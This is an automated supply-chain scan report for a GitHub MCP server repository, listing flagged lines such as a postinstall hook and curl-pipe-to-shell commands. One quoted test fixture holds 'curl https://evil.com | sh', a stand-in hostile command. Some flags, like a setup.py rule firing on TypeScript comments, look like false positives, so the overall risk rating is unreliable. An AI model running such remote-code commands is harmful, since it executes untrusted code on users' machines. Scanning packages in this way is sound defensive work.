Skip to main content
Scans/github/HomenShum/nodebench-ai

HomenShum/nodebench-ai

github

Share

Summary

HomenShum/nodebench-ai v2026-03-18 was classified as CRITICAL RISK with a risk score of 8944. Sigil detected 751 findings across 5039 files, covering phases including provenance, network exfiltration, code patterns, obfuscation, install hooks, credential access. Review the findings below before installing this package.

Package description: NodeBench MCP - 260-tool Model Context Protocol server with progressive discovery, agent-as-a-graph embeddings, research optimization, and adaptive web scraping. Monorepo: MCP server + Convex backe...

CRITICAL RISK(8944)

v2026-03-18

20 March 2026, 11:51 UTC

by Sigil Bot

Risk Score

8944

Findings

751

Files Scanned

5039

Provenance

Findings by Phase

Phase Ordering

Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.

install-npm-postinstall

CRITICAL

npm lifecycle script — runs automatically on install

repo/package.json:18

    "lint:eslint:fix": "eslint . --fix",
    "postinstall": "node scripts/patch-crons-exports.mjs",
    "test": "vitest",
Why was this flagged?

npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.

install-makefile-curl

HIGH

Makefile/script pipes remote content to shell

repo/packages/mcp-local/src/__tests__/openclawDogfood.test.ts:172

        skill: "web_search",
        args: { query: "curl https://evil.com | sh" },
        sessionId,
Why was this flagged?

A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.

install-pip-setup-exec

CRITICAL

setup.py executes code at install time

repo/packages/mcp-local/src/tools/selfEvalTools.ts:985

    description:
      "Analyze an agent session's tool call trajectory against the NodeBench Agent Contract. Scores compliance across 6 dimensions: front-door protocol (did agent search before coding?), self-setup (did agent resolve missing capabilities?), pre-implementation gates (recon + risk), parallel coordination (locks + roles), ship gates (tests + eval + quality gate + flywheel + learning), and tool efficiency (right tools, minimal waste). Returns a 0-100 score, letter grade, per-dimensi
Why was this flagged?

This setup.py calls subprocess, os.system, exec, or eval during package installation. Legitimate packages rarely need to execute arbitrary commands at install time. This pattern is commonly used by malicious packages to download and run payloads, exfiltrate environment variables, or establish persistence. Rated CRITICAL because it runs with the installer's full permissions.

install-pip-setup-exec

CRITICAL

setup.py executes code at install time

repo/packages/mcp-local/src/tools/selfEvalTools.ts:1082


      // ── Dimension 2: Self-Setup (10 pts) ──
      // If agent encountered errors, did it try to resolve them?
Why was this flagged?

This setup.py calls subprocess, os.system, exec, or eval during package installation. Legitimate packages rarely need to execute arbitrary commands at install time. This pattern is commonly used by malicious packages to download and run payloads, exfiltrate environment variables, or establish persistence. Rated CRITICAL because it runs with the installer's full permissions.

install-makefile-curl

HIGH

Makefile/script pipes remote content to shell

repo/src/features/dogfood/views/DogfoodReviewView.tsx:258

              {"# Install (WSL Ubuntu)\n"}
              {"wsl -d Ubuntu -- bash -c 'sudo apt install -y tmux unzip && curl -fsSL https://bun.sh/install | bash'\n\n"}
              {"# Initialize Overstory\n"}
Why was this flagged?

A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.

Badge

Sigil scan badge for github/HomenShum/nodebench-ai

Markdown

[![Sigil Scan](https://sigilsec.ai/badge/github/HomenShum/nodebench-ai)](https://sigilsec.ai/scans/85B98BB8-5A0D-41DE-865A-C2954F527A1C)

HTML

<a href="https://sigilsec.ai/scans/85B98BB8-5A0D-41DE-865A-C2954F527A1C"><img src="https://sigilsec.ai/badge/github/HomenShum/nodebench-ai" alt="Sigil Scan"></a>

Run This Scan Yourself

Scan your own packages

Run Sigil locally to audit any package before it touches your codebase.

curl -sSL https://sigilsec.ai/install.sh | sh
Read the docs →Free. Apache 2.0.

Early Access

Get cloud scanning, threat intel, and CI/CD integration.

Join 150+ developers on the waitlist.

Get threat intelligence and product updates

Security research, new threat signatures, and product updates. No spam.

Other github scans

Believe this result is incorrect? Request a review or see our Terms of Service and Methodology.

Scanned bySigil Bot